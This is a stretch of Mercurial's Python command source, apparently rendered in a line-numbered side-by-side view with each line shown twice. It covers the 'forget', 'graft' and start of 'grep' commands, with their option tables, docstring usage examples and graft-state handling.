2885 [
2885 [
2886 (b'i', b'interactive', None, _(b'use interactive mode')),
2886 (b'i', b'interactive', None, _(b'use interactive mode')),
2887 ]
2887 ]
2888 + walkopts
2888 + walkopts
2889 + dryrunopts,
2889 + dryrunopts,
2890 _(b'[OPTION]... FILE...'),
2890 _(b'[OPTION]... FILE...'),
2891 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
2891 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
2892 helpbasic=True,
2892 helpbasic=True,
2893 inferrepo=True,
2893 inferrepo=True,
2894 )
2894 )
2895 def forget(ui, repo, *pats, **opts):
2895 def forget(ui, repo, *pats, **opts):
2896 """forget the specified files on the next commit
2896 """forget the specified files on the next commit
2897
2897
2898 Mark the specified files so they will no longer be tracked
2898 Mark the specified files so they will no longer be tracked
2899 after the next commit.
2899 after the next commit.
2900
2900
2901 This only removes files from the current branch, not from the
2901 This only removes files from the current branch, not from the
2902 entire project history, and it does not delete them from the
2902 entire project history, and it does not delete them from the
2903 working directory.
2903 working directory.
2904
2904
2905 To delete the file from the working directory, see :hg:`remove`.
2905 To delete the file from the working directory, see :hg:`remove`.
2906
2906
2907 To undo a forget before the next commit, see :hg:`add`.
2907 To undo a forget before the next commit, see :hg:`add`.
2908
2908
2909 .. container:: verbose
2909 .. container:: verbose
2910
2910
2911 Examples:
2911 Examples:
2912
2912
2913 - forget newly-added binary files::
2913 - forget newly-added binary files::
2914
2914
2915 hg forget "set:added() and binary()"
2915 hg forget "set:added() and binary()"
2916
2916
2917 - forget files that would be excluded by .hgignore::
2917 - forget files that would be excluded by .hgignore::
2918
2918
2919 hg forget "set:hgignore()"
2919 hg forget "set:hgignore()"
2920
2920
2921 Returns 0 on success.
2921 Returns 0 on success.
2922 """
2922 """
2923
2923
2924 opts = pycompat.byteskwargs(opts)
2924 opts = pycompat.byteskwargs(opts)
2925 if not pats:
2925 if not pats:
2926 raise error.InputError(_(b'no files specified'))
2926 raise error.InputError(_(b'no files specified'))
2927
2927
2928 m = scmutil.match(repo[None], pats, opts)
2928 m = scmutil.match(repo[None], pats, opts)
2929 dryrun, interactive = opts.get(b'dry_run'), opts.get(b'interactive')
2929 dryrun, interactive = opts.get(b'dry_run'), opts.get(b'interactive')
2930 uipathfn = scmutil.getuipathfn(repo, legacyrelativevalue=True)
2930 uipathfn = scmutil.getuipathfn(repo, legacyrelativevalue=True)
2931 rejected = cmdutil.forget(
2931 rejected = cmdutil.forget(
2932 ui,
2932 ui,
2933 repo,
2933 repo,
2934 m,
2934 m,
2935 prefix=b"",
2935 prefix=b"",
2936 uipathfn=uipathfn,
2936 uipathfn=uipathfn,
2937 explicitonly=False,
2937 explicitonly=False,
2938 dryrun=dryrun,
2938 dryrun=dryrun,
2939 interactive=interactive,
2939 interactive=interactive,
2940 )[0]
2940 )[0]
2941 return rejected and 1 or 0
2941 return rejected and 1 or 0
2942
2942
2943
2943
2944 @command(
2944 @command(
2945 b'graft',
2945 b'graft',
2946 [
2946 [
2947 (b'r', b'rev', [], _(b'revisions to graft'), _(b'REV')),
2947 (b'r', b'rev', [], _(b'revisions to graft'), _(b'REV')),
2948 (
2948 (
2949 b'',
2949 b'',
2950 b'base',
2950 b'base',
2951 b'',
2951 b'',
2952 _(b'base revision when doing the graft merge (ADVANCED)'),
2952 _(b'base revision when doing the graft merge (ADVANCED)'),
2953 _(b'REV'),
2953 _(b'REV'),
2954 ),
2954 ),
2955 (b'c', b'continue', False, _(b'resume interrupted graft')),
2955 (b'c', b'continue', False, _(b'resume interrupted graft')),
2956 (b'', b'stop', False, _(b'stop interrupted graft')),
2956 (b'', b'stop', False, _(b'stop interrupted graft')),
2957 (b'', b'abort', False, _(b'abort interrupted graft')),
2957 (b'', b'abort', False, _(b'abort interrupted graft')),
2958 (b'e', b'edit', False, _(b'invoke editor on commit messages')),
2958 (b'e', b'edit', False, _(b'invoke editor on commit messages')),
2959 (b'', b'log', None, _(b'append graft info to log message')),
2959 (b'', b'log', None, _(b'append graft info to log message')),
2960 (
2960 (
2961 b'',
2961 b'',
2962 b'no-commit',
2962 b'no-commit',
2963 None,
2963 None,
2964 _(b"don't commit, just apply the changes in working directory"),
2964 _(b"don't commit, just apply the changes in working directory"),
2965 ),
2965 ),
2966 (b'f', b'force', False, _(b'force graft')),
2966 (b'f', b'force', False, _(b'force graft')),
2967 (
2967 (
2968 b'D',
2968 b'D',
2969 b'currentdate',
2969 b'currentdate',
2970 False,
2970 False,
2971 _(b'record the current date as commit date'),
2971 _(b'record the current date as commit date'),
2972 ),
2972 ),
2973 (
2973 (
2974 b'U',
2974 b'U',
2975 b'currentuser',
2975 b'currentuser',
2976 False,
2976 False,
2977 _(b'record the current user as committer'),
2977 _(b'record the current user as committer'),
2978 ),
2978 ),
2979 ]
2979 ]
2980 + commitopts2
2980 + commitopts2
2981 + mergetoolopts
2981 + mergetoolopts
2982 + dryrunopts,
2982 + dryrunopts,
2983 _(b'[OPTION]... [-r REV]... REV...'),
2983 _(b'[OPTION]... [-r REV]... REV...'),
2984 helpcategory=command.CATEGORY_CHANGE_MANAGEMENT,
2984 helpcategory=command.CATEGORY_CHANGE_MANAGEMENT,
2985 )
2985 )
2986 def graft(ui, repo, *revs, **opts):
2986 def graft(ui, repo, *revs, **opts):
2987 """copy changes from other branches onto the current branch
2987 """copy changes from other branches onto the current branch
2988
2988
2989 This command uses Mercurial's merge logic to copy individual
2989 This command uses Mercurial's merge logic to copy individual
2990 changes from other branches without merging branches in the
2990 changes from other branches without merging branches in the
2991 history graph. This is sometimes known as 'backporting' or
2991 history graph. This is sometimes known as 'backporting' or
2992 'cherry-picking'. By default, graft will copy user, date, and
2992 'cherry-picking'. By default, graft will copy user, date, and
2993 description from the source changesets.
2993 description from the source changesets.
2994
2994
2995 Changesets that are ancestors of the current revision, that have
2995 Changesets that are ancestors of the current revision, that have
2996 already been grafted, or that are merges will be skipped.
2996 already been grafted, or that are merges will be skipped.
2997
2997
2998 If --log is specified, log messages will have a comment appended
2998 If --log is specified, log messages will have a comment appended
2999 of the form::
2999 of the form::
3000
3000
3001 (grafted from CHANGESETHASH)
3001 (grafted from CHANGESETHASH)
3002
3002
3003 If --force is specified, revisions will be grafted even if they
3003 If --force is specified, revisions will be grafted even if they
3004 are already ancestors of, or have been grafted to, the destination.
3004 are already ancestors of, or have been grafted to, the destination.
3005 This is useful when the revisions have since been backed out.
3005 This is useful when the revisions have since been backed out.
3006
3006
3007 If a graft merge results in conflicts, the graft process is
3007 If a graft merge results in conflicts, the graft process is
3008 interrupted so that the current merge can be manually resolved.
3008 interrupted so that the current merge can be manually resolved.
3009 Once all conflicts are addressed, the graft process can be
3009 Once all conflicts are addressed, the graft process can be
3010 continued with the -c/--continue option.
3010 continued with the -c/--continue option.
3011
3011
3012 The -c/--continue option reapplies all the earlier options.
3012 The -c/--continue option reapplies all the earlier options.
3013
3013
3014 .. container:: verbose
3014 .. container:: verbose
3015
3015
3016 The --base option exposes more of how graft internally uses merge with a
3016 The --base option exposes more of how graft internally uses merge with a
3017 custom base revision. --base can be used to specify another ancestor than
3017 custom base revision. --base can be used to specify another ancestor than
3018 the first and only parent.
3018 the first and only parent.
3019
3019
3020 The command::
3020 The command::
3021
3021
3022 hg graft -r 345 --base 234
3022 hg graft -r 345 --base 234
3023
3023
3024 is thus pretty much the same as::
3024 is thus pretty much the same as::
3025
3025
3026 hg diff --from 234 --to 345 | hg import
3026 hg diff --from 234 --to 345 | hg import
3027
3027
3028 but using merge to resolve conflicts and track moved files.
3028 but using merge to resolve conflicts and track moved files.
3029
3029
3030 The result of a merge can thus be backported as a single commit by
3030 The result of a merge can thus be backported as a single commit by
3031 specifying one of the merge parents as base, and thus effectively
3031 specifying one of the merge parents as base, and thus effectively
3032 grafting the changes from the other side.
3032 grafting the changes from the other side.
3033
3033
3034 It is also possible to collapse multiple changesets and clean up history
3034 It is also possible to collapse multiple changesets and clean up history
3035 by specifying another ancestor as base, much like rebase --collapse
3035 by specifying another ancestor as base, much like rebase --collapse
3036 --keep.
3036 --keep.
3037
3037
3038 The commit message can be tweaked after the fact using commit --amend .
3038 The commit message can be tweaked after the fact using commit --amend .
3039
3039
3040 For using non-ancestors as the base to backout changes, see the backout
3040 For using non-ancestors as the base to backout changes, see the backout
3041 command and the hidden --parent option.
3041 command and the hidden --parent option.
3042
3042
3043 .. container:: verbose
3043 .. container:: verbose
3044
3044
3045 Examples:
3045 Examples:
3046
3046
3047 - copy a single change to the stable branch and edit its description::
3047 - copy a single change to the stable branch and edit its description::
3048
3048
3049 hg update stable
3049 hg update stable
3050 hg graft --edit 9393
3050 hg graft --edit 9393
3051
3051
3052 - graft a range of changesets with one exception, updating dates::
3052 - graft a range of changesets with one exception, updating dates::
3053
3053
3054 hg graft -D "2085::2093 and not 2091"
3054 hg graft -D "2085::2093 and not 2091"
3055
3055
3056 - continue a graft after resolving conflicts::
3056 - continue a graft after resolving conflicts::
3057
3057
3058 hg graft -c
3058 hg graft -c
3059
3059
3060 - show the source of a grafted changeset::
3060 - show the source of a grafted changeset::
3061
3061
3062 hg log --debug -r .
3062 hg log --debug -r .
3063
3063
3064 - show revisions sorted by date::
3064 - show revisions sorted by date::
3065
3065
3066 hg log -r "sort(all(), date)"
3066 hg log -r "sort(all(), date)"
3067
3067
3068 - backport the result of a merge as a single commit::
3068 - backport the result of a merge as a single commit::
3069
3069
3070 hg graft -r 123 --base 123^
3070 hg graft -r 123 --base 123^
3071
3071
3072 - land a feature branch as one changeset::
3072 - land a feature branch as one changeset::
3073
3073
3074 hg up -cr default
3074 hg up -cr default
3075 hg graft -r featureX --base "ancestor('featureX', 'default')"
3075 hg graft -r featureX --base "ancestor('featureX', 'default')"
3076
3076
3077 See :hg:`help revisions` for more about specifying revisions.
3077 See :hg:`help revisions` for more about specifying revisions.
3078
3078
3079 Returns 0 on successful completion, 1 if there are unresolved files.
3079 Returns 0 on successful completion, 1 if there are unresolved files.
3080 """
3080 """
3081 with repo.wlock():
3081 with repo.wlock():
3082 return _dograft(ui, repo, *revs, **opts)
3082 return _dograft(ui, repo, *revs, **opts)
3083
3083
3084
3084
3085 def _dograft(ui, repo, *revs, **opts):
3085 def _dograft(ui, repo, *revs, **opts):
3086 if revs and opts.get('rev'):
3086 if revs and opts.get('rev'):
3087 ui.warn(
3087 ui.warn(
3088 _(
3088 _(
3089 b'warning: inconsistent use of --rev might give unexpected '
3089 b'warning: inconsistent use of --rev might give unexpected '
3090 b'revision ordering!\n'
3090 b'revision ordering!\n'
3091 )
3091 )
3092 )
3092 )
3093
3093
3094 revs = list(revs)
3094 revs = list(revs)
3095 revs.extend(opts.get('rev'))
3095 revs.extend(opts.get('rev'))
3096 # a dict of data to be stored in state file
3096 # a dict of data to be stored in state file
3097 statedata = {}
3097 statedata = {}
3098 # list of new nodes created by ongoing graft
3098 # list of new nodes created by ongoing graft
3099 statedata[b'newnodes'] = []
3099 statedata[b'newnodes'] = []
3100
3100
3101 cmdutil.resolve_commit_options(ui, opts)
3101 cmdutil.resolve_commit_options(ui, opts)
3102
3102
3103 editor = cmdutil.getcommiteditor(editform=b'graft', **opts)
3103 editor = cmdutil.getcommiteditor(editform=b'graft', **opts)
3104
3104
3105 cmdutil.check_at_most_one_arg(opts, 'abort', 'stop', 'continue')
3105 cmdutil.check_at_most_one_arg(opts, 'abort', 'stop', 'continue')
3106
3106
3107 cont = False
3107 cont = False
3108 if opts.get('no_commit'):
3108 if opts.get('no_commit'):
3109 cmdutil.check_incompatible_arguments(
3109 cmdutil.check_incompatible_arguments(
3110 opts,
3110 opts,
3111 'no_commit',
3111 'no_commit',
3112 ['edit', 'currentuser', 'currentdate', 'log'],
3112 ['edit', 'currentuser', 'currentdate', 'log'],
3113 )
3113 )
3114
3114
3115 graftstate = statemod.cmdstate(repo, b'graftstate')
3115 graftstate = statemod.cmdstate(repo, b'graftstate')
3116
3116
3117 if opts.get('stop'):
3117 if opts.get('stop'):
3118 cmdutil.check_incompatible_arguments(
3118 cmdutil.check_incompatible_arguments(
3119 opts,
3119 opts,
3120 'stop',
3120 'stop',
3121 [
3121 [
3122 'edit',
3122 'edit',
3123 'log',
3123 'log',
3124 'user',
3124 'user',
3125 'date',
3125 'date',
3126 'currentdate',
3126 'currentdate',
3127 'currentuser',
3127 'currentuser',
3128 'rev',
3128 'rev',
3129 ],
3129 ],
3130 )
3130 )
3131 return _stopgraft(ui, repo, graftstate)
3131 return _stopgraft(ui, repo, graftstate)
3132 elif opts.get('abort'):
3132 elif opts.get('abort'):
3133 cmdutil.check_incompatible_arguments(
3133 cmdutil.check_incompatible_arguments(
3134 opts,
3134 opts,
3135 'abort',
3135 'abort',
3136 [
3136 [
3137 'edit',
3137 'edit',
3138 'log',
3138 'log',
3139 'user',
3139 'user',
3140 'date',
3140 'date',
3141 'currentdate',
3141 'currentdate',
3142 'currentuser',
3142 'currentuser',
3143 'rev',
3143 'rev',
3144 ],
3144 ],
3145 )
3145 )
3146 return cmdutil.abortgraft(ui, repo, graftstate)
3146 return cmdutil.abortgraft(ui, repo, graftstate)
3147 elif opts.get('continue'):
3147 elif opts.get('continue'):
3148 cont = True
3148 cont = True
3149 if revs:
3149 if revs:
3150 raise error.InputError(_(b"can't specify --continue and revisions"))
3150 raise error.InputError(_(b"can't specify --continue and revisions"))
3151 # read in unfinished revisions
3151 # read in unfinished revisions
3152 if graftstate.exists():
3152 if graftstate.exists():
3153 statedata = cmdutil.readgraftstate(repo, graftstate)
3153 statedata = cmdutil.readgraftstate(repo, graftstate)
3154 if statedata.get(b'date'):
3154 if statedata.get(b'date'):
3155 opts['date'] = statedata[b'date']
3155 opts['date'] = statedata[b'date']
3156 if statedata.get(b'user'):
3156 if statedata.get(b'user'):
3157 opts['user'] = statedata[b'user']
3157 opts['user'] = statedata[b'user']
3158 if statedata.get(b'log'):
3158 if statedata.get(b'log'):
3159 opts['log'] = True
3159 opts['log'] = True
3160 if statedata.get(b'no_commit'):
3160 if statedata.get(b'no_commit'):
3161 opts['no_commit'] = statedata.get(b'no_commit')
3161 opts['no_commit'] = statedata.get(b'no_commit')
3162 if statedata.get(b'base'):
3162 if statedata.get(b'base'):
3163 opts['base'] = statedata.get(b'base')
3163 opts['base'] = statedata.get(b'base')
3164 nodes = statedata[b'nodes']
3164 nodes = statedata[b'nodes']
3165 revs = [repo[node].rev() for node in nodes]
3165 revs = [repo[node].rev() for node in nodes]
3166 else:
3166 else:
3167 cmdutil.wrongtooltocontinue(repo, _(b'graft'))
3167 cmdutil.wrongtooltocontinue(repo, _(b'graft'))
3168 else:
3168 else:
3169 if not revs:
3169 if not revs:
3170 raise error.InputError(_(b'no revisions specified'))
3170 raise error.InputError(_(b'no revisions specified'))
3171 cmdutil.checkunfinished(repo)
3171 cmdutil.checkunfinished(repo)
3172 cmdutil.bailifchanged(repo)
3172 cmdutil.bailifchanged(repo)
3173 revs = logcmdutil.revrange(repo, revs)
3173 revs = logcmdutil.revrange(repo, revs)
3174
3174
3175 skipped = set()
3175 skipped = set()
3176 basectx = None
3176 basectx = None
3177 if opts.get('base'):
3177 if opts.get('base'):
3178 basectx = logcmdutil.revsingle(repo, opts['base'], None)
3178 basectx = logcmdutil.revsingle(repo, opts['base'], None)
3179 if basectx is None:
3179 if basectx is None:
3180 # check for merges
3180 # check for merges
3181 for rev in repo.revs(b'%ld and merge()', revs):
3181 for rev in repo.revs(b'%ld and merge()', revs):
3182 ui.warn(_(b'skipping ungraftable merge revision %d\n') % rev)
3182 ui.warn(_(b'skipping ungraftable merge revision %d\n') % rev)
3183 skipped.add(rev)
3183 skipped.add(rev)
3184 revs = [r for r in revs if r not in skipped]
3184 revs = [r for r in revs if r not in skipped]
3185 if not revs:
3185 if not revs:
3186 return -1
3186 return -1
3187 if basectx is not None and len(revs) != 1:
3187 if basectx is not None and len(revs) != 1:
3188 raise error.InputError(_(b'only one revision allowed with --base '))
3188 raise error.InputError(_(b'only one revision allowed with --base '))
3189
3189
3190 # Don't check in the --continue case, in effect retaining --force across
3190 # Don't check in the --continue case, in effect retaining --force across
3191 # --continues. That's because without --force, any revisions we decided to
3191 # --continues. That's because without --force, any revisions we decided to
3192 # skip would have been filtered out here, so they wouldn't have made their
3192 # skip would have been filtered out here, so they wouldn't have made their
3193 # way to the graftstate. With --force, any revisions we would have otherwise
3193 # way to the graftstate. With --force, any revisions we would have otherwise
3194 # skipped would not have been filtered out, and if they hadn't been applied
3194 # skipped would not have been filtered out, and if they hadn't been applied
3195 # already, they'd have been in the graftstate.
3195 # already, they'd have been in the graftstate.
3196 if not (cont or opts.get('force')) and basectx is None:
3196 if not (cont or opts.get('force')) and basectx is None:
3197 # check for ancestors of dest branch
3197 # check for ancestors of dest branch
3198 ancestors = repo.revs(b'%ld & (::.)', revs)
3198 ancestors = repo.revs(b'%ld & (::.)', revs)
3199 for rev in ancestors:
3199 for rev in ancestors:
3200 ui.warn(_(b'skipping ancestor revision %d:%s\n') % (rev, repo[rev]))
3200 ui.warn(_(b'skipping ancestor revision %d:%s\n') % (rev, repo[rev]))
3201
3201
3202 revs = [r for r in revs if r not in ancestors]
3202 revs = [r for r in revs if r not in ancestors]
3203
3203
3204 if not revs:
3204 if not revs:
3205 return -1
3205 return -1
3206
3206
3207 # analyze revs for earlier grafts
3207 # analyze revs for earlier grafts
3208 ids = {}
3208 ids = {}
3209 for ctx in repo.set(b"%ld", revs):
3209 for ctx in repo.set(b"%ld", revs):
3210 ids[ctx.hex()] = ctx.rev()
3210 ids[ctx.hex()] = ctx.rev()
3211 n = ctx.extra().get(b'source')
3211 n = ctx.extra().get(b'source')
3212 if n:
3212 if n:
3213 ids[n] = ctx.rev()
3213 ids[n] = ctx.rev()
3214
3214
3215 # check ancestors for earlier grafts
3215 # check ancestors for earlier grafts
3216 ui.debug(b'scanning for duplicate grafts\n')
3216 ui.debug(b'scanning for duplicate grafts\n')
3217
3217
3218 # The only changesets we can be sure doesn't contain grafts of any
3218 # The only changesets we can be sure doesn't contain grafts of any
3219 # revs, are the ones that are common ancestors of *all* revs:
3219 # revs, are the ones that are common ancestors of *all* revs:
3220 for rev in repo.revs(b'only(%d,ancestor(%ld))', repo[b'.'].rev(), revs):
3220 for rev in repo.revs(b'only(%d,ancestor(%ld))', repo[b'.'].rev(), revs):
3221 ctx = repo[rev]
3221 ctx = repo[rev]
3222 n = ctx.extra().get(b'source')
3222 n = ctx.extra().get(b'source')
3223 if n in ids:
3223 if n in ids:
3224 try:
3224 try:
3225 r = repo[n].rev()
3225 r = repo[n].rev()
3226 except error.RepoLookupError:
3226 except error.RepoLookupError:
3227 r = None
3227 r = None
3228 if r in revs:
3228 if r in revs:
3229 ui.warn(
3229 ui.warn(
3230 _(
3230 _(
3231 b'skipping revision %d:%s '
3231 b'skipping revision %d:%s '
3232 b'(already grafted to %d:%s)\n'
3232 b'(already grafted to %d:%s)\n'
3233 )
3233 )
3234 % (r, repo[r], rev, ctx)
3234 % (r, repo[r], rev, ctx)
3235 )
3235 )
3236 revs.remove(r)
3236 revs.remove(r)
3237 elif ids[n] in revs:
3237 elif ids[n] in revs:
3238 if r is None:
3238 if r is None:
3239 ui.warn(
3239 ui.warn(
3240 _(
3240 _(
3241 b'skipping already grafted revision %d:%s '
3241 b'skipping already grafted revision %d:%s '
3242 b'(%d:%s also has unknown origin %s)\n'
3242 b'(%d:%s also has unknown origin %s)\n'
3243 )
3243 )
3244 % (ids[n], repo[ids[n]], rev, ctx, n[:12])
3244 % (ids[n], repo[ids[n]], rev, ctx, n[:12])
3245 )
3245 )
3246 else:
3246 else:
3247 ui.warn(
3247 ui.warn(
3248 _(
3248 _(
3249 b'skipping already grafted revision %d:%s '
3249 b'skipping already grafted revision %d:%s '
3250 b'(%d:%s also has origin %d:%s)\n'
3250 b'(%d:%s also has origin %d:%s)\n'
3251 )
3251 )
3252 % (ids[n], repo[ids[n]], rev, ctx, r, n[:12])
3252 % (ids[n], repo[ids[n]], rev, ctx, r, n[:12])
3253 )
3253 )
3254 revs.remove(ids[n])
3254 revs.remove(ids[n])
3255 elif ctx.hex() in ids:
3255 elif ctx.hex() in ids:
3256 r = ids[ctx.hex()]
3256 r = ids[ctx.hex()]
3257 if r in revs:
3257 if r in revs:
3258 ui.warn(
3258 ui.warn(
3259 _(
3259 _(
3260 b'skipping already grafted revision %d:%s '
3260 b'skipping already grafted revision %d:%s '
3261 b'(was grafted from %d:%s)\n'
3261 b'(was grafted from %d:%s)\n'
3262 )
3262 )
3263 % (r, repo[r], rev, ctx)
3263 % (r, repo[r], rev, ctx)
3264 )
3264 )
3265 revs.remove(r)
3265 revs.remove(r)
3266 if not revs:
3266 if not revs:
3267 return -1
3267 return -1
3268
3268
3269 if opts.get('no_commit'):
3269 if opts.get('no_commit'):
3270 statedata[b'no_commit'] = True
3270 statedata[b'no_commit'] = True
3271 if opts.get('base'):
3271 if opts.get('base'):
3272 statedata[b'base'] = opts['base']
3272 statedata[b'base'] = opts['base']
3273 for pos, ctx in enumerate(repo.set(b"%ld", revs)):
3273 for pos, ctx in enumerate(repo.set(b"%ld", revs)):
3274 desc = b'%d:%s "%s"' % (
3274 desc = b'%d:%s "%s"' % (
3275 ctx.rev(),
3275 ctx.rev(),
3276 ctx,
3276 ctx,
3277 ctx.description().split(b'\n', 1)[0],
3277 ctx.description().split(b'\n', 1)[0],
3278 )
3278 )
3279 names = repo.nodetags(ctx.node()) + repo.nodebookmarks(ctx.node())
3279 names = repo.nodetags(ctx.node()) + repo.nodebookmarks(ctx.node())
3280 if names:
3280 if names:
3281 desc += b' (%s)' % b' '.join(names)
3281 desc += b' (%s)' % b' '.join(names)
3282 ui.status(_(b'grafting %s\n') % desc)
3282 ui.status(_(b'grafting %s\n') % desc)
3283 if opts.get('dry_run'):
3283 if opts.get('dry_run'):
3284 continue
3284 continue
3285
3285
3286 source = ctx.extra().get(b'source')
3286 source = ctx.extra().get(b'source')
3287 extra = {}
3287 extra = {}
3288 if source:
3288 if source:
3289 extra[b'source'] = source
3289 extra[b'source'] = source
3290 extra[b'intermediate-source'] = ctx.hex()
3290 extra[b'intermediate-source'] = ctx.hex()
3291 else:
3291 else:
3292 extra[b'source'] = ctx.hex()
3292 extra[b'source'] = ctx.hex()
3293 user = ctx.user()
3293 user = ctx.user()
3294 if opts.get('user'):
3294 if opts.get('user'):
3295 user = opts['user']
3295 user = opts['user']
3296 statedata[b'user'] = user
3296 statedata[b'user'] = user
3297 date = ctx.date()
3297 date = ctx.date()
3298 if opts.get('date'):
3298 if opts.get('date'):
3299 date = opts['date']
3299 date = opts['date']
3300 statedata[b'date'] = date
3300 statedata[b'date'] = date
3301 message = ctx.description()
3301 message = ctx.description()
3302 if opts.get('log'):
3302 if opts.get('log'):
3303 message += b'\n(grafted from %s)' % ctx.hex()
3303 message += b'\n(grafted from %s)' % ctx.hex()
3304 statedata[b'log'] = True
3304 statedata[b'log'] = True
3305
3305
3306 # we don't merge the first commit when continuing
3306 # we don't merge the first commit when continuing
3307 if not cont:
3307 if not cont:
3308 # perform the graft merge with p1(rev) as 'ancestor'
3308 # perform the graft merge with p1(rev) as 'ancestor'
3309 overrides = {(b'ui', b'forcemerge'): opts.get('tool', b'')}
3309 overrides = {(b'ui', b'forcemerge'): opts.get('tool', b'')}
3310 base = ctx.p1() if basectx is None else basectx
3310 base = ctx.p1() if basectx is None else basectx
3311 with ui.configoverride(overrides, b'graft'):
3311 with ui.configoverride(overrides, b'graft'):
3312 stats = mergemod.graft(
3312 stats = mergemod.graft(
3313 repo, ctx, base, [b'local', b'graft', b'parent of graft']
3313 repo, ctx, base, [b'local', b'graft', b'parent of graft']
3314 )
3314 )
3315 # report any conflicts
3315 # report any conflicts
3316 if stats.unresolvedcount > 0:
3316 if stats.unresolvedcount > 0:
3317 # write out state for --continue
3317 # write out state for --continue
3318 nodes = [repo[rev].hex() for rev in revs[pos:]]
3318 nodes = [repo[rev].hex() for rev in revs[pos:]]
3319 statedata[b'nodes'] = nodes
3319 statedata[b'nodes'] = nodes
3320 stateversion = 1
3320 stateversion = 1
3321 graftstate.save(stateversion, statedata)
3321 graftstate.save(stateversion, statedata)
3322 ui.error(_(b"abort: unresolved conflicts, can't continue\n"))
3322 ui.error(_(b"abort: unresolved conflicts, can't continue\n"))
3323 ui.error(_(b"(use 'hg resolve' and 'hg graft --continue')\n"))
3323 ui.error(_(b"(use 'hg resolve' and 'hg graft --continue')\n"))
3324 return 1
3324 return 1
3325 else:
3325 else:
3326 cont = False
3326 cont = False
3327
3327
3328 # commit if --no-commit is false
3328 # commit if --no-commit is false
3329 if not opts.get('no_commit'):
3329 if not opts.get('no_commit'):
3330 node = repo.commit(
3330 node = repo.commit(
3331 text=message, user=user, date=date, extra=extra, editor=editor
3331 text=message, user=user, date=date, extra=extra, editor=editor
3332 )
3332 )
3333 if node is None:
3333 if node is None:
3334 ui.warn(
3334 ui.warn(
3335 _(b'note: graft of %d:%s created no changes to commit\n')
3335 _(b'note: graft of %d:%s created no changes to commit\n')
3336 % (ctx.rev(), ctx)
3336 % (ctx.rev(), ctx)
3337 )
3337 )
3338 # checking that newnodes exist because old state files won't have it
3338 # checking that newnodes exist because old state files won't have it
3339 elif statedata.get(b'newnodes') is not None:
3339 elif statedata.get(b'newnodes') is not None:
3340 nn = statedata[b'newnodes']
3340 nn = statedata[b'newnodes']
3341 assert isinstance(nn, list) # list of bytes
3341 assert isinstance(nn, list) # list of bytes
3342 nn.append(node)
3342 nn.append(node)
3343
3343
3344 # remove state when we complete successfully
3344 # remove state when we complete successfully
3345 if not opts.get('dry_run'):
3345 if not opts.get('dry_run'):
3346 graftstate.delete()
3346 graftstate.delete()
3347
3347
3348 return 0
3348 return 0
3349
3349
3350
3350
3351 def _stopgraft(ui, repo, graftstate):
3351 def _stopgraft(ui, repo, graftstate):
3352 """stop the interrupted graft"""
3352 """stop the interrupted graft"""
3353 if not graftstate.exists():
3353 if not graftstate.exists():
3354 raise error.StateError(_(b"no interrupted graft found"))
3354 raise error.StateError(_(b"no interrupted graft found"))
3355 pctx = repo[b'.']
3355 pctx = repo[b'.']
3356 mergemod.clean_update(pctx)
3356 mergemod.clean_update(pctx)
3357 graftstate.delete()
3357 graftstate.delete()
3358 ui.status(_(b"stopped the interrupted graft\n"))
3358 ui.status(_(b"stopped the interrupted graft\n"))
3359 ui.status(_(b"working directory is now at %s\n") % pctx.hex()[:12])
3359 ui.status(_(b"working directory is now at %s\n") % pctx.hex()[:12])
3360 return 0
3360 return 0
3361
3361
3362
3362
3363 statemod.addunfinished(
3363 statemod.addunfinished(
3364 b'graft',
3364 b'graft',
3365 fname=b'graftstate',
3365 fname=b'graftstate',
3366 clearable=True,
3366 clearable=True,
3367 stopflag=True,
3367 stopflag=True,
3368 continueflag=True,
3368 continueflag=True,
3369 abortfunc=cmdutil.hgabortgraft,
3369 abortfunc=cmdutil.hgabortgraft,
3370 cmdhint=_(b"use 'hg graft --continue' or 'hg graft --stop' to stop"),
3370 cmdhint=_(b"use 'hg graft --continue' or 'hg graft --stop' to stop"),
3371 )
3371 )
3372
3372
3373
3373
3374 @command(
3374 @command(
3375 b'grep',
3375 b'grep',
3376 [
3376 [
3377 (b'0', b'print0', None, _(b'end fields with NUL')),
3377 (b'0', b'print0', None, _(b'end fields with NUL')),
3378 (b'', b'all', None, _(b'an alias to --diff (DEPRECATED)')),
3378 (b'', b'all', None, _(b'an alias to --diff (DEPRECATED)')),
3379 (
3379 (
3380 b'',
3380 b'',
3381 b'diff',
3381 b'diff',
3382 None,
3382 None,
3383 _(
3383 _(
3384 b'search revision differences for when the pattern was added '
3384 b'search revision differences for when the pattern was added '
3385 b'or removed'
3385 b'or removed'
3386 ),
3386 ),
3387 ),
3387 ),
3388 (b'a', b'text', None, _(b'treat all files as text')),
3388 (b'a', b'text', None, _(b'treat all files as text')),
3389 (
3389 (
3390 b'f',
3390 b'f',
3391 b'follow',
3391 b'follow',
3392 None,
3392 None,
3393 _(
3393 _(
3394 b'follow changeset history,'
3394 b'follow changeset history,'
3395 b' or file history across copies and renames'
3395 b' or file history across copies and renames'
3396 ),
3396 ),
3397 ),
3397 ),
3398 (b'i', b'ignore-case', None, _(b'ignore case when matching')),
3398 (b'i', b'ignore-case', None, _(b'ignore case when matching')),
3399 (
3399 (
3400 b'l',
3400 b'l',
3401 b'files-with-matches',
3401 b'files-with-matches',
3402 None,
3402 None,
3403 _(b'print only filenames and revisions that match'),
3403 _(b'print only filenames and revisions that match'),
3404 ),
3404 ),
3405 (b'n', b'line-number', None, _(b'print matching line numbers')),
3405 (b'n', b'line-number', None, _(b'print matching line numbers')),
3406 (
3406 (
3407 b'r',
3407 b'r',
3408 b'rev',
3408 b'rev',
3409 [],
3409 [],
3410 _(b'search files changed within revision range'),
3410 _(b'search files changed within revision range'),
3411 _(b'REV'),
3411 _(b'REV'),
3412 ),
3412 ),
3413 (
3413 (
3414 b'',
3414 b'',
3415 b'all-files',
3415 b'all-files',
3416 None,
3416 None,
3417 _(
3417 _(
3418 b'include all files in the changeset while grepping (DEPRECATED)'
3418 b'include all files in the changeset while grepping (DEPRECATED)'
3419 ),
3419 ),
3420 ),
3420 ),
3421 (b'u', b'user', None, _(b'list the author (long with -v)')),
3421 (b'u', b'user', None, _(b'list the author (long with -v)')),
3422 (b'd', b'date', None, _(b'list the date (short with -q)')),
3422 (b'd', b'date', None, _(b'list the date (short with -q)')),
3423 ]
3423 ]
3424 + formatteropts
3424 + formatteropts
3425 + walkopts,
3425 + walkopts,
3426 _(b'[--diff] [OPTION]... PATTERN [FILE]...'),
3426 _(b'[--diff] [OPTION]... PATTERN [FILE]...'),
3427 helpcategory=command.CATEGORY_FILE_CONTENTS,
